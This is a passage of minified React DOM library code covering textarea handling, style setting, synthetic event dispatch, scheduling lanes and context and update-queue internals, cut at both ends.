b.dangerouslySetInnerHTML)throw Error(m(91));return B({},b,{value:void 0,defaultValue:void 0,children:""+a._wrapperState.initialValue})}function Jf(a,b){var c=b.value;if(null==c){c=b.children;b=b.defaultValue;if(null!=c){if(null!=b)throw Error(m(92));if(Array.isArray(c)){if(!(1>=c.length))throw Error(m(93));c=c[0]}b=c}null==b&&(b="");c=b}a._wrapperState={initialValue:xa(c)}}function Kf(a,b){var c=xa(b.value),d=xa(b.defaultValue);null!=c&&(c=""+c,c!==a.value&&(a.value=c),null==b.defaultValue&&a.defaultValue!==
c&&(a.defaultValue=c));null!=d&&(a.defaultValue=""+d)}function Lf(a,b){b=a.textContent;b===a._wrapperState.initialValue&&""!==b&&null!==b&&(a.value=b)}function Mf(a){switch(a){case "svg":return"http://www.w3.org/2000/svg";case "math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function Rd(a,b){return null==a||"http://www.w3.org/1999/xhtml"===a?Mf(b):"http://www.w3.org/2000/svg"===a&&"foreignObject"===b?"http://www.w3.org/1999/xhtml":a}function Nf(a,b,c){return null==
b||"boolean"===typeof b||""===b?"":c||"number"!==typeof b||0===b||Nb.hasOwnProperty(a)&&Nb[a]?(""+b).trim():b+"px"}function Of(a,b){a=a.style;for(var c in b)if(b.hasOwnProperty(c)){var d=0===c.indexOf("--"),e=Nf(c,b[c],d);"float"===c&&(c="cssFloat");d?a.setProperty(c,e):a[c]=e}}function Sd(a,b){if(b){if(si[a]&&(null!=b.children||null!=b.dangerouslySetInnerHTML))throw Error(m(137,a));if(null!=b.dangerouslySetInnerHTML){if(null!=b.children)throw Error(m(60));if(!("object"===typeof b.dangerouslySetInnerHTML&&
"__html"in b.dangerouslySetInnerHTML))throw Error(m(61));}if(null!=b.style&&"object"!==typeof b.style)throw Error(m(62));}}function Td(a,b){if(-1===a.indexOf("-"))return"string"===typeof b.is;switch(a){case "annotation-xml":case "color-profile":case "font-face":case "font-face-src":case "font-face-uri":case "font-face-format":case "font-face-name":case "missing-glyph":return!1;default:return!0}}function Ud(a){a=a.target||a.srcElement||window;a.correspondingUseElement&&(a=a.correspondingUseElement);
return 3===a.nodeType?a.parentNode:a}function Pf(a){if(a=Ob(a)){if("function"!==typeof Vd)throw Error(m(280));var b=a.stateNode;b&&(b=Hc(b),Vd(a.stateNode,a.type,b))}}function Qf(a){jb?kb?kb.push(a):kb=[a]:jb=a}function Rf(){if(jb){var a=jb,b=kb;kb=jb=null;Pf(a);if(b)for(a=0;a<b.length;a++)Pf(b[a])}}function Wd(){if(null!==jb||null!==kb)Xd(),Rf()}function ti(a,b,c){if(Yd)return a(b,c);Yd=!0;try{return Sf(a,b,c)}finally{Yd=!1,Wd()}}function Pb(a,b){var c=a.stateNode;if(null===c)return null;var d=Hc(c);
if(null===d)return null;c=d[b];a:switch(b){case "onClick":case "onClickCapture":case "onDoubleClick":case "onDoubleClickCapture":case "onMouseDown":case "onMouseDownCapture":case "onMouseMove":case "onMouseMoveCapture":case "onMouseUp":case "onMouseUpCapture":case "onMouseEnter":(d=!d.disabled)||(a=a.type,d=!("button"===a||"input"===a||"select"===a||"textarea"===a));a=!d;break a;default:a=!1}if(a)return null;if(c&&"function"!==typeof c)throw Error(m(231,b,typeof c));return c}function ui(a,b,c,d,e,
f,g,h,k){Qb=!1;Ic=null;vi.apply(wi,arguments)}function xi(a,b,c,d,e,f,g,h,k){ui.apply(this,arguments);if(Qb){if(Qb){var v=Ic;Qb=!1;Ic=null}else throw Error(m(198));Jc||(Jc=!0,Zd=v)}}function Va(a){var b=a,c=a;if(a.alternate)for(;b.return;)b=b.return;else{a=b;do b=a,0!==(b.flags&1026)&&(c=b.return),a=b.return;while(a)}return 3===b.tag?c:null}function Tf(a){if(13===a.tag){var b=a.memoizedState;null===b&&(a=a.alternate,null!==a&&(b=a.memoizedState));if(null!==b)return b.dehydrated}return null}function Uf(a){if(Va(a)!==
a)throw Error(m(188));}function yi(a){var b=a.alternate;if(!b){b=Va(a);if(null===b)throw Error(m(188));return b!==a?null:a}for(var c=a,d=b;;){var e=c.return;if(null===e)break;var f=e.alternate;if(null===f){d=e.return;if(null!==d){c=d;continue}break}if(e.child===f.child){for(f=e.child;f;){if(f===c)return Uf(e),a;if(f===d)return Uf(e),b;f=f.sibling}throw Error(m(188));}if(c.return!==d.return)c=e,d=f;else{for(var g=!1,h=e.child;h;){if(h===c){g=!0;c=e;d=f;break}if(h===d){g=!0;d=e;c=f;break}h=h.sibling}if(!g){for(h=
f.child;h;){if(h===c){g=!0;c=f;d=e;break}if(h===d){g=!0;d=f;c=e;break}h=h.sibling}if(!g)throw Error(m(189));}}if(c.alternate!==d)throw Error(m(190));}if(3!==c.tag)throw Error(m(188));return c.stateNode.current===c?a:b}function Vf(a){a=yi(a);if(!a)return null;for(var b=a;;){if(5===b.tag||6===b.tag)return b;if(b.child)b.child.return=b,b=b.child;else{if(b===a)break;for(;!b.sibling;){if(!b.return||b.return===a)return null;b=b.return}b.sibling.return=b.return;b=b.sibling}}return null}function Wf(a,b){for(var c=
a.alternate;null!==b;){if(b===a||b===c)return!0;b=b.return}return!1}function $d(a,b,c,d,e){return{blockedOn:a,domEventName:b,eventSystemFlags:c|16,nativeEvent:e,targetContainers:[d]}}function Xf(a,b){switch(a){case "focusin":case "focusout":ya=null;break;case "dragenter":case "dragleave":za=null;break;case "mouseover":case "mouseout":Aa=null;break;case "pointerover":case "pointerout":Rb.delete(b.pointerId);break;case "gotpointercapture":case "lostpointercapture":Sb.delete(b.pointerId)}}function Tb(a,
b,c,d,e,f){if(null===a||a.nativeEvent!==f)return a=$d(b,c,d,e,f),null!==b&&(b=Ob(b),null!==b&&Yf(b)),a;a.eventSystemFlags|=d;b=a.targetContainers;null!==e&&-1===b.indexOf(e)&&b.push(e);return a}function zi(a,b,c,d,e){switch(b){case "focusin":return ya=Tb(ya,a,b,c,d,e),!0;case "dragenter":return za=Tb(za,a,b,c,d,e),!0;case "mouseover":return Aa=Tb(Aa,a,b,c,d,e),!0;case "pointerover":var f=e.pointerId;Rb.set(f,Tb(Rb.get(f)||null,a,b,c,d,e));return!0;case "gotpointercapture":return f=e.pointerId,Sb.set(f,
Tb(Sb.get(f)||null,a,b,c,d,e)),!0}return!1}function Ai(a){var b=Wa(a.target);if(null!==b){var c=Va(b);if(null!==c)if(b=c.tag,13===b){if(b=Tf(c),null!==b){a.blockedOn=b;Bi(a.lanePriority,function(){ae(a.priority,function(){Ci(c)})});return}}else if(3===b&&c.stateNode.hydrate){a.blockedOn=3===c.tag?c.stateNode.containerInfo:null;return}}a.blockedOn=null}function Kc(a){if(null!==a.blockedOn)return!1;for(var b=a.targetContainers;0<b.length;){var c=be(a.domEventName,a.eventSystemFlags,b[0],a.nativeEvent);
if(null!==c)return b=Ob(c),null!==b&&Yf(b),a.blockedOn=c,!1;b.shift()}return!0}function Zf(a,b,c){Kc(a)&&c.delete(b)}function Di(){for(ce=!1;0<ia.length;){var a=ia[0];if(null!==a.blockedOn){a=Ob(a.blockedOn);null!==a&&Ei(a);break}for(var b=a.targetContainers;0<b.length;){var c=be(a.domEventName,a.eventSystemFlags,b[0],a.nativeEvent);if(null!==c){a.blockedOn=c;break}b.shift()}null===a.blockedOn&&ia.shift()}null!==ya&&Kc(ya)&&(ya=null);null!==za&&Kc(za)&&(za=null);null!==Aa&&Kc(Aa)&&(Aa=null);Rb.forEach(Zf);
Sb.forEach(Zf)}function Ub(a,b){a.blockedOn===b&&(a.blockedOn=null,ce||(ce=!0,$f(ag,Di)))}function bg(a){if(0<ia.length){Ub(ia[0],a);for(var b=1;b<ia.length;b++){var c=ia[b];c.blockedOn===a&&(c.blockedOn=null)}}null!==ya&&Ub(ya,a);null!==za&&Ub(za,a);null!==Aa&&Ub(Aa,a);b=function(b){return Ub(b,a)};Rb.forEach(b);Sb.forEach(b);for(b=0;b<Vb.length;b++)c=Vb[b],c.blockedOn===a&&(c.blockedOn=null);for(;0<Vb.length&&(b=Vb[0],null===b.blockedOn);)Ai(b),null===b.blockedOn&&Vb.shift()}function Lc(a,b){var c=
{};c[a.toLowerCase()]=b.toLowerCase();c["Webkit"+a]="webkit"+b;c["Moz"+a]="moz"+b;return c}function Mc(a){if(de[a])return de[a];if(!lb[a])return a;var b=lb[a],c;for(c in b)if(b.hasOwnProperty(c)&&c in cg)return de[a]=b[c];return a}function ee(a,b){for(var c=0;c<a.length;c+=2){var d=a[c],e=a[c+1];e="on"+(e[0].toUpperCase()+e.slice(1));fe.set(d,b);dg.set(d,e);Ta(e,[d])}}function mb(a){if(0!==(1&a))return w=15,1;if(0!==(2&a))return w=14,2;if(0!==(4&a))return w=13,4;var b=24&a;if(0!==b)return w=12,b;
if(0!==(a&32))return w=11,32;b=192&a;if(0!==b)return w=10,b;if(0!==(a&256))return w=9,256;b=3584&a;if(0!==b)return w=8,b;if(0!==(a&4096))return w=7,4096;b=4186112&a;if(0!==b)return w=6,b;b=62914560&a;if(0!==b)return w=5,b;if(a&67108864)return w=4,67108864;if(0!==(a&134217728))return w=3,134217728;b=805306368&a;if(0!==b)return w=2,b;if(0!==(1073741824&a))return w=1,1073741824;w=8;return a}function Fi(a){switch(a){case 99:return 15;case 98:return 10;case 97:case 96:return 8;case 95:return 2;default:return 0}}
function Gi(a){switch(a){case 15:case 14:return 99;case 13:case 12:case 11:case 10:return 98;case 9:case 8:case 7:case 6:case 4:case 5:return 97;case 3:case 2:case 1:return 95;case 0:return 90;default:throw Error(m(358,a));}}function Wb(a,b){var c=a.pendingLanes;if(0===c)return w=0;var d=0,e=0,f=a.expiredLanes,g=a.suspendedLanes,h=a.pingedLanes;if(0!==f)d=f,e=w=15;else if(f=c&134217727,0!==f){var k=f&~g;0!==k?(d=mb(k),e=w):(h&=f,0!==h&&(d=mb(h),e=w))}else f=c&~g,0!==f?(d=mb(f),e=w):0!==h&&(d=mb(h),
e=w);if(0===d)return 0;d=31-Ba(d);d=c&((0>d?0:1<<d)<<1)-1;if(0!==b&&b!==d&&0===(b&g)){mb(b);if(e<=w)return b;w=e}b=a.entangledLanes;if(0!==b)for(a=a.entanglements,b&=d;0<b;)c=31-Ba(b),e=1<<c,d|=a[c],b&=~e;return d}function eg(a){a=a.pendingLanes&-1073741825;return 0!==a?a:a&1073741824?1073741824:0}function Nc(a,b){switch(a){case 15:return 1;case 14:return 2;case 12:return a=nb(24&~b),0===a?Nc(10,b):a;case 10:return a=nb(192&~b),0===a?Nc(8,b):a;case 8:return a=nb(3584&~b),0===a&&(a=nb(4186112&~b),
0===a&&(a=512)),a;case 2:return b=nb(805306368&~b),0===b&&(b=268435456),b}throw Error(m(358,a));}function nb(a){return a&-a}function ge(a){for(var b=[],c=0;31>c;c++)b.push(a);return b}function Oc(a,b,c){a.pendingLanes|=b;var d=b-1;a.suspendedLanes&=d;a.pingedLanes&=d;a=a.eventTimes;b=31-Ba(b);a[b]=c}function Hi(a){return 0===a?32:31-(Ii(a)/Ji|0)|0}function Ki(a,b,c,d){Xa||Xd();var e=he,f=Xa;Xa=!0;try{fg(e,a,b,c,d)}finally{(Xa=f)||Wd()}}function Li(a,b,c,d){Mi(Ni,he.bind(null,a,b,c,d))}function he(a,
b,c,d){if(Pc){var e;if((e=0===(b&4))&&0<ia.length&&-1<gg.indexOf(a))a=$d(null,a,b,c,d),ia.push(a);else{var f=be(a,b,c,d);if(null===f)e&&Xf(a,d);else{if(e){if(-1<gg.indexOf(a)){a=$d(f,a,b,c,d);ia.push(a);return}if(zi(f,a,b,c,d))return;Xf(a,d)}hg(a,b,d,null,c)}}}}function be(a,b,c,d){var e=Ud(d);e=Wa(e);if(null!==e){var f=Va(e);if(null===f)e=null;else{var g=f.tag;if(13===g){e=Tf(f);if(null!==e)return e;e=null}else if(3===g){if(f.stateNode.hydrate)return 3===f.tag?f.stateNode.containerInfo:null;e=null}else f!==
e&&(e=null)}}hg(a,b,d,e,c);return null}function ig(){if(Qc)return Qc;var a,b=ie,c=b.length,d,e="value"in Ca?Ca.value:Ca.textContent,f=e.length;for(a=0;a<c&&b[a]===e[a];a++);var g=c-a;for(d=1;d<=g&&b[c-d]===e[f-d];d++);return Qc=e.slice(a,1<d?1-d:void 0)}function Rc(a){var b=a.keyCode;"charCode"in a?(a=a.charCode,0===a&&13===b&&(a=13)):a=b;10===a&&(a=13);return 32<=a||13===a?a:0}function Sc(){return!0}function jg(){return!1}function V(a){function b(b,d,e,f,g){this._reactName=b;this._targetInst=e;this.type=
d;this.nativeEvent=f;this.target=g;this.currentTarget=null;for(var c in a)a.hasOwnProperty(c)&&(b=a[c],this[c]=b?b(f):f[c]);this.isDefaultPrevented=(null!=f.defaultPrevented?f.defaultPrevented:!1===f.returnValue)?Sc:jg;this.isPropagationStopped=jg;return this}B(b.prototype,{preventDefault:function(){this.defaultPrevented=!0;var a=this.nativeEvent;a&&(a.preventDefault?a.preventDefault():"unknown"!==typeof a.returnValue&&(a.returnValue=!1),this.isDefaultPrevented=Sc)},stopPropagation:function(){var a=
this.nativeEvent;a&&(a.stopPropagation?a.stopPropagation():"unknown"!==typeof a.cancelBubble&&(a.cancelBubble=!0),this.isPropagationStopped=Sc)},persist:function(){},isPersistent:Sc});return b}function Oi(a){var b=this.nativeEvent;return b.getModifierState?b.getModifierState(a):(a=Pi[a])?!!b[a]:!1}function je(a){return Oi}function kg(a,b){switch(a){case "keyup":return-1!==Qi.indexOf(b.keyCode);case "keydown":return 229!==b.keyCode;case "keypress":case "mousedown":case "focusout":return!0;default:return!1}}
function lg(a){a=a.detail;return"object"===typeof a&&"data"in a?a.data:null}function Ri(a,b){switch(a){case "compositionend":return lg(b);case "keypress":if(32!==b.which)return null;mg=!0;return ng;case "textInput":return a=b.data,a===ng&&mg?null:a;default:return null}}function Si(a,b){if(ob)return"compositionend"===a||!ke&&kg(a,b)?(a=ig(),Qc=ie=Ca=null,ob=!1,a):null;switch(a){case "paste":return null;case "keypress":if(!(b.ctrlKey||b.altKey||b.metaKey)||b.ctrlKey&&b.altKey){if(b.char&&1<b.char.length)return b.char;
if(b.which)return String.fromCharCode(b.which)}return null;case "compositionend":return og&&"ko"!==b.locale?null:b.data;default:return null}}function pg(a){var b=a&&a.nodeName&&a.nodeName.toLowerCase();return"input"===b?!!Ti[a.type]:"textarea"===b?!0:!1}function Ui(a){if(!oa)return!1;a="on"+a;var b=a in document;b||(b=document.createElement("div"),b.setAttribute(a,"return;"),b="function"===typeof b[a]);return b}function qg(a,b,c,d){Qf(d);b=Tc(b,"onChange");0<b.length&&(c=new le("onChange","change",
null,c,d),a.push({event:c,listeners:b}))}function Vi(a){rg(a,0)}function Uc(a){var b=pb(a);if(Ff(b))return a}function Wi(a,b){if("change"===a)return b}function sg(){Xb&&(Xb.detachEvent("onpropertychange",tg),Yb=Xb=null)}function tg(a){if("value"===a.propertyName&&Uc(Yb)){var b=[];qg(b,Yb,a,Ud(a));a=Vi;if(Xa)a(b);else{Xa=!0;try{me(a,b)}finally{Xa=!1,Wd()}}}}function Xi(a,b,c){"focusin"===a?(sg(),Xb=b,Yb=c,Xb.attachEvent("onpropertychange",tg)):"focusout"===a&&sg()}function Yi(a,b){if("selectionchange"===
a||"keyup"===a||"keydown"===a)return Uc(Yb)}function Zi(a,b){if("click"===a)return Uc(b)}function $i(a,b){if("input"===a||"change"===a)return Uc(b)}function aj(a,b){return a===b&&(0!==a||1/a===1/b)||a!==a&&b!==b}function Zb(a,b){if(X(a,b))return!0;if("object"!==typeof a||null===a||"object"!==typeof b||null===b)return!1;var c=Object.keys(a),d=Object.keys(b);if(c.length!==d.length)return!1;for(d=0;d<c.length;d++)if(!bj.call(b,c[d])||!X(a[c[d]],b[c[d]]))return!1;return!0}function ug(a){for(;a&&a.firstChild;)a=
a.firstChild;return a}function vg(a,b){var c=ug(a);a=0;for(var d;c;){if(3===c.nodeType){d=a+c.textContent.length;if(a<=b&&d>=b)return{node:c,offset:b-a};a=d}a:{for(;c;){if(c.nextSibling){c=c.nextSibling;break a}c=c.parentNode}c=void 0}c=ug(c)}}function wg(a,b){return a&&b?a===b?!0:a&&3===a.nodeType?!1:b&&3===b.nodeType?wg(a,b.parentNode):"contains"in a?a.contains(b):a.compareDocumentPosition?!!(a.compareDocumentPosition(b)&16):!1:!1}function xg(){for(var a=window,b=Gc();b instanceof a.HTMLIFrameElement;){try{var c=
"string"===typeof b.contentWindow.location.href}catch(d){c=!1}if(c)a=b.contentWindow;else break;b=Gc(a.document)}return b}function ne(a){var b=a&&a.nodeName&&a.nodeName.toLowerCase();return b&&("input"===b&&("text"===a.type||"search"===a.type||"tel"===a.type||"url"===a.type||"password"===a.type)||"textarea"===b||"true"===a.contentEditable)}function yg(a,b,c){var d=c.window===c?c.document:9===c.nodeType?c:c.ownerDocument;oe||null==qb||qb!==Gc(d)||(d=qb,"selectionStart"in d&&ne(d)?d={start:d.selectionStart,
end:d.selectionEnd}:(d=(d.ownerDocument&&d.ownerDocument.defaultView||window).getSelection(),d={anchorNode:d.anchorNode,anchorOffset:d.anchorOffset,focusNode:d.focusNode,focusOffset:d.focusOffset}),$b&&Zb($b,d)||($b=d,d=Tc(pe,"onSelect"),0<d.length&&(b=new le("onSelect","select",null,b,c),a.push({event:b,listeners:d}),b.target=qb)))}function zg(a,b,c){var d=a.type||"unknown-event";a.currentTarget=c;xi(d,b,void 0,a);a.currentTarget=null}function rg(a,b){b=0!==(b&4);for(var c=0;c<a.length;c++){var d=
a[c],e=d.event;d=d.listeners;a:{var f=void 0;if(b)for(var g=d.length-1;0<=g;g--){var h=d[g],k=h.instance,v=h.currentTarget;h=h.listener;if(k!==f&&e.isPropagationStopped())break a;zg(e,h,v);f=k}else for(g=0;g<d.length;g++){h=d[g];k=h.instance;v=h.currentTarget;h=h.listener;if(k!==f&&e.isPropagationStopped())break a;zg(e,h,v);f=k}}}if(Jc)throw a=Zd,Jc=!1,Zd=null,a;}function z(a,b){var c=Ag(b),d=a+"__bubble";c.has(d)||(Bg(b,a,2,!1),c.add(d))}function Cg(a){a[Dg]||(a[Dg]=!0,zf.forEach(function(b){Eg.has(b)||
Fg(b,!1,a,null);Fg(b,!0,a,null)}))}function Fg(a,b,c,d){var e=4<arguments.length&&void 0!==arguments[4]?arguments[4]:0,f=c;"selectionchange"===a&&9!==c.nodeType&&(f=c.ownerDocument);if(null!==d&&!b&&Eg.has(a)){if("scroll"!==a)return;e|=2;f=d}var g=Ag(f),h=a+"__"+(b?"capture":"bubble");g.has(h)||(b&&(e|=4),Bg(f,a,e,b),g.add(h))}function Bg(a,b,c,d,e){e=fe.get(b);switch(void 0===e?2:e){case 0:e=Ki;break;case 1:e=Li;break;default:e=he}c=e.bind(null,b,c,a);e=void 0;!qe||"touchstart"!==b&&"touchmove"!==
b&&"wheel"!==b||(e=!0);d?void 0!==e?a.addEventListener(b,c,{capture:!0,passive:e}):a.addEventListener(b,c,!0):void 0!==e?a.addEventListener(b,c,{passive:e}):a.addEventListener(b,c,!1)}function hg(a,b,c,d,e){var f=d;if(0===(b&1)&&0===(b&2)&&null!==d)a:for(;;){if(null===d)return;var g=d.tag;if(3===g||4===g){var h=d.stateNode.containerInfo;if(h===e||8===h.nodeType&&h.parentNode===e)break;if(4===g)for(g=d.return;null!==g;){var k=g.tag;if(3===k||4===k)if(k=g.stateNode.containerInfo,k===e||8===k.nodeType&&
k.parentNode===e)return;g=g.return}for(;null!==h;){g=Wa(h);if(null===g)return;k=g.tag;if(5===k||6===k){d=f=g;continue a}h=h.parentNode}}d=d.return}ti(function(){var d=f,e=Ud(c),g=[];a:{var h=dg.get(a);if(void 0!==h){var k=le,m=a;switch(a){case "keypress":if(0===Rc(c))break a;case "keydown":case "keyup":k=cj;break;case "focusin":m="focus";k=re;break;case "focusout":m="blur";k=re;break;case "beforeblur":case "afterblur":k=re;break;case "click":if(2===c.button)break a;case "auxclick":case "dblclick":case "mousedown":case "mousemove":case "mouseup":case "mouseout":case "mouseover":case "contextmenu":k=
Gg;break;case "drag":case "dragend":case "dragenter":case "dragexit":case "dragleave":case "dragover":case "dragstart":case "drop":k=dj;break;case "touchcancel":case "touchend":case "touchmove":case "touchstart":k=ej;break;case Hg:case Ig:case Jg:k=fj;break;case Kg:k=gj;break;case "scroll":k=hj;break;case "wheel":k=ij;break;case "copy":case "cut":case "paste":k=jj;break;case "gotpointercapture":case "lostpointercapture":case "pointercancel":case "pointerdown":case "pointermove":case "pointerout":case "pointerover":case "pointerup":k=
Lg}var l=0!==(b&4),C=!l&&"scroll"===a,x=l?null!==h?h+"Capture":null:h;l=[];for(var p=d,q;null!==p;){q=p;var u=q.stateNode;5===q.tag&&null!==u&&(q=u,null!==x&&(u=Pb(p,x),null!=u&&l.push(ac(p,u,q))));if(C)break;p=p.return}0<l.length&&(h=new k(h,m,null,c,e),g.push({event:h,listeners:l}))}}if(0===(b&7)){a:{h="mouseover"===a||"pointerover"===a;k="mouseout"===a||"pointerout"===a;if(h&&0===(b&16)&&(m=c.relatedTarget||c.fromElement)&&(Wa(m)||m[rb]))break a;if(k||h){h=e.window===e?e:(h=e.ownerDocument)?h.defaultView||
h.parentWindow:window;if(k){if(m=c.relatedTarget||c.toElement,k=d,m=m?Wa(m):null,null!==m&&(C=Va(m),m!==C||5!==m.tag&&6!==m.tag))m=null}else k=null,m=d;if(k!==m){l=Gg;u="onMouseLeave";x="onMouseEnter";p="mouse";if("pointerout"===a||"pointerover"===a)l=Lg,u="onPointerLeave",x="onPointerEnter",p="pointer";C=null==k?h:pb(k);q=null==m?h:pb(m);h=new l(u,p+"leave",k,c,e);h.target=C;h.relatedTarget=q;u=null;Wa(e)===d&&(l=new l(x,p+"enter",m,c,e),l.target=q,l.relatedTarget=C,u=l);C=u;if(k&&m)b:{l=k;x=m;p=
0;for(q=l;q;q=sb(q))p++;q=0;for(u=x;u;u=sb(u))q++;for(;0<p-q;)l=sb(l),p--;for(;0<q-p;)x=sb(x),q--;for(;p--;){if(l===x||null!==x&&l===x.alternate)break b;l=sb(l);x=sb(x)}l=null}else l=null;null!==k&&Mg(g,h,k,l,!1);null!==m&&null!==C&&Mg(g,C,m,l,!0)}}}a:{h=d?pb(d):window;k=h.nodeName&&h.nodeName.toLowerCase();if("select"===k||"input"===k&&"file"===h.type)var n=Wi;else if(pg(h))if(Ng)n=$i;else{n=Yi;var da=Xi}else(k=h.nodeName)&&"input"===k.toLowerCase()&&("checkbox"===h.type||"radio"===h.type)&&(n=Zi);
if(n&&(n=n(a,d))){qg(g,n,c,e);break a}da&&da(a,h,d);"focusout"===a&&(da=h._wrapperState)&&da.controlled&&"number"===h.type&&Od(h,"number",h.value)}da=d?pb(d):window;switch(a){case "focusin":if(pg(da)||"true"===da.contentEditable)qb=da,pe=d,$b=null;break;case "focusout":$b=pe=qb=null;break;case "mousedown":oe=!0;break;case "contextmenu":case "mouseup":case "dragend":oe=!1;yg(g,c,e);break;case "selectionchange":if(kj)break;case "keydown":case "keyup":yg(g,c,e)}var Ea;if(ke)b:{switch(a){case "compositionstart":var F=
"onCompositionStart";break b;case "compositionend":F="onCompositionEnd";break b;case "compositionupdate":F="onCompositionUpdate";break b}F=void 0}else ob?kg(a,c)&&(F="onCompositionEnd"):"keydown"===a&&229===c.keyCode&&(F="onCompositionStart");F&&(og&&"ko"!==c.locale&&(ob||"onCompositionStart"!==F?"onCompositionEnd"===F&&ob&&(Ea=ig()):(Ca=e,ie="value"in Ca?Ca.value:Ca.textContent,ob=!0)),da=Tc(d,F),0<da.length&&(F=new Og(F,a,null,c,e),g.push({event:F,listeners:da}),Ea?F.data=Ea:(Ea=lg(c),null!==Ea&&
(F.data=Ea))));if(Ea=lj?Ri(a,c):Si(a,c))d=Tc(d,"onBeforeInput"),0<d.length&&(e=new mj("onBeforeInput","beforeinput",null,c,e),g.push({event:e,listeners:d}),e.data=Ea)}rg(g,b)})}function ac(a,b,c){return{instance:a,listener:b,currentTarget:c}}function Tc(a,b){for(var c=b+"Capture",d=[];null!==a;){var e=a,f=e.stateNode;5===e.tag&&null!==f&&(e=f,f=Pb(a,c),null!=f&&d.unshift(ac(a,f,e)),f=Pb(a,b),null!=f&&d.push(ac(a,f,e)));a=a.return}return d}function sb(a){if(null===a)return null;do a=a.return;while(a&&
5!==a.tag);return a?a:null}function Mg(a,b,c,d,e){for(var f=b._reactName,g=[];null!==c&&c!==d;){var h=c,k=h.alternate,v=h.stateNode;if(null!==k&&k===d)break;5===h.tag&&null!==v&&(h=v,e?(k=Pb(c,f),null!=k&&g.unshift(ac(c,k,h))):e||(k=Pb(c,f),null!=k&&g.push(ac(c,k,h))));c=c.return}0!==g.length&&a.push({event:b,listeners:g})}function Vc(){}function Pg(a,b){switch(a){case "button":case "input":case "select":case "textarea":return!!b.autoFocus}return!1}function se(a,b){return"textarea"===a||"option"===
a||"noscript"===a||"string"===typeof b.children||"number"===typeof b.children||"object"===typeof b.dangerouslySetInnerHTML&&null!==b.dangerouslySetInnerHTML&&null!=b.dangerouslySetInnerHTML.__html}function te(a){1===a.nodeType?a.textContent="":9===a.nodeType&&(a=a.body,null!=a&&(a.textContent=""))}function tb(a){for(;null!=a;a=a.nextSibling){var b=a.nodeType;if(1===b||3===b)break}return a}function Qg(a){a=a.previousSibling;for(var b=0;a;){if(8===a.nodeType){var c=a.data;if("$"===c||"$!"===c||"$?"===
c){if(0===b)return a;b--}else"/$"===c&&b++}a=a.previousSibling}return null}function nj(a){return{$$typeof:ue,toString:a,valueOf:a}}function Wa(a){var b=a[Fa];if(b)return b;for(var c=a.parentNode;c;){if(b=c[rb]||c[Fa]){c=b.alternate;if(null!==b.child||null!==c&&null!==c.child)for(a=Qg(a);null!==a;){if(c=a[Fa])return c;a=Qg(a)}return b}a=c;c=a.parentNode}return null}function Ob(a){a=a[Fa]||a[rb];return!a||5!==a.tag&&6!==a.tag&&13!==a.tag&&3!==a.tag?null:a}function pb(a){if(5===a.tag||6===a.tag)return a.stateNode;
throw Error(m(33));}function Hc(a){return a[Wc]||null}function Ag(a){var b=a[Rg];void 0===b&&(b=a[Rg]=new Set);return b}function Ga(a){return{current:a}}function t(a,b){0>ub||(a.current=ve[ub],ve[ub]=null,ub--)}function A(a,b,c){ub++;ve[ub]=a.current;a.current=b}function vb(a,b){var c=a.type.contextTypes;if(!c)return Ha;var d=a.stateNode;if(d&&d.__reactInternalMemoizedUnmaskedChildContext===b)return d.__reactInternalMemoizedMaskedChildContext;var e={},f;for(f in c)e[f]=b[f];d&&(a=a.stateNode,a.__reactInternalMemoizedUnmaskedChildContext=
b,a.__reactInternalMemoizedMaskedChildContext=e);return e}function S(a){a=a.childContextTypes;return null!==a&&void 0!==a}function Sg(a,b,c){if(D.current!==Ha)throw Error(m(168));A(D,b);A(J,c)}function Tg(a,b,c){var d=a.stateNode;a=b.childContextTypes;if("function"!==typeof d.getChildContext)return c;d=d.getChildContext();for(var e in d)if(!(e in a))throw Error(m(108,hb(b)||"Unknown",e));return B({},c,d)}function Xc(a){a=(a=a.stateNode)&&a.__reactInternalMemoizedMergedChildContext||Ha;Ya=D.current;
A(D,a);A(J,J.current);return!0}function Ug(a,b,c){var d=a.stateNode;if(!d)throw Error(m(169));c?(a=Tg(a,b,Ya),d.__reactInternalMemoizedMergedChildContext=a,t(J),t(D),A(D,a)):t(J);A(J,c)}function wb(){switch(oj()){case Yc:return 99;case Vg:return 98;case Wg:return 97;case Xg:return 96;case Yg:return 95;default:throw Error(m(332));}}function Zg(a){switch(a){case 99:return Yc;case 98:return Vg;case 97:return Wg;case 96:return Xg;case 95:return Yg;default:throw Error(m(332));}}function Za(a,b){a=Zg(a);
return pj(a,b)}function bc(a,b,c){a=Zg(a);return we(a,b,c)}function ja(){if(null!==Zc){var a=Zc;Zc=null;xe(a)}$g()}function $g(){if(!ye&&null!==pa){ye=!0;var a=0;try{var b=pa;Za(99,function(){for(;a<b.length;a++){var c=b[a];do c=c(!0);while(null!==c)}});pa=null}catch(c){throw null!==pa&&(pa=pa.slice(a+1)),we(Yc,ja),c;}finally{ye=!1}}}function ea(a,b){if(a&&a.defaultProps){b=B({},b);a=a.defaultProps;for(var c in a)void 0===b[c]&&(b[c]=a[c]);return b}return b}function ze(){$c=xb=ad=null}function Ae(a){var b=
bd.current;t(bd);a.type._context._currentValue=b}function ah(a,b){for(;null!==a;){var c=a.alternate;if((a.childLanes&b)===b)if(null===c||(c.childLanes&b)===b)break;else c.childLanes|=b;else a.childLanes|=b,null!==c&&(c.childLanes|=b);a=a.return}}function yb(a,b){ad=a;$c=xb=null;a=a.dependencies;null!==a&&null!==a.firstContext&&(0!==(a.lanes&b)&&(fa=!0),a.firstContext=null)}function Y(a,b){if($c!==a&&!1!==b&&0!==b){if("number"!==typeof b||1073741823===b)$c=a,b=1073741823;b={context:a,observedBits:b,
next:null};if(null===xb){if(null===ad)throw Error(m(308));xb=b;ad.dependencies={lanes:0,firstContext:b,responders:null}}else xb=xb.next=b}return a._currentValue}function Be(a){a.updateQueue={baseState:a.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null},effects:null}}function bh(a,b){a=a.updateQueue;b.updateQueue===a&&(b.updateQueue={baseState:a.baseState,firstBaseUpdate:a.firstBaseUpdate,lastBaseUpdate:a.lastBaseUpdate,shared:a.shared,effects:a.effects})}function Ia(a,b){return{eventTime:a,
